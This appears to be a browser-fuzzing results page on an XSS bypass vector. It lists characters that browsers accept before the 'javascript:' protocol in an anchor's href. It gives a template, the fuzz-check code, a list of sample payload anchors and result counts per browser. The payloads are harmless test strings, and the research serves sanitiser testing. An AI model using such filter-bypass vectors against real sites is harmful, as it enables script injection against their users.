Characters that can precede the javascript protocol



Characters that can precede the javascript protocol in html
Created by: renniepak
Created on: Wednesday, April 10, 2024 at 8:51:01 AM
Updated on: Wednesday, May 28, 2025 at 5:06:20 PM
Vector type: XSS
Vector charset: UTF-8
Template used:
<a href="$[chr]javascript:test.com/" id="test"></a>
Code used after fuzz:
if(document.getElementById("test").protocol=="javascript:"){log($[i])}
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...
Sample payloads
<a href="javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href=" javascript:test.com/" id="test"></a>
<a href="
javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href="
javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
<a href="javascript:test.com/" id="test"></a>
Fuzz results

Firefox 124.0 Unknown Unknown
Updated
Wed Apr 10 2024
Found 32 results
Loading...

Chrome 124.0.0.0 Unknown Unknown
Updated
Mon Apr 29 2024
Found 32 results
Loading...

Chrome 137.0.0.0 desktop macOS 10.15.7
Updated
Wed Jun 11 2025
Found 32 results
Loading...

Firefox 139.0 desktop macOS 10.15
Updated
Wed Jun 11 2025
Found 32 results
Loading...

Safari 18.5 desktop macOS 10.15.7
Updated
Wed Jun 11 2025
Found 32 results
Loading...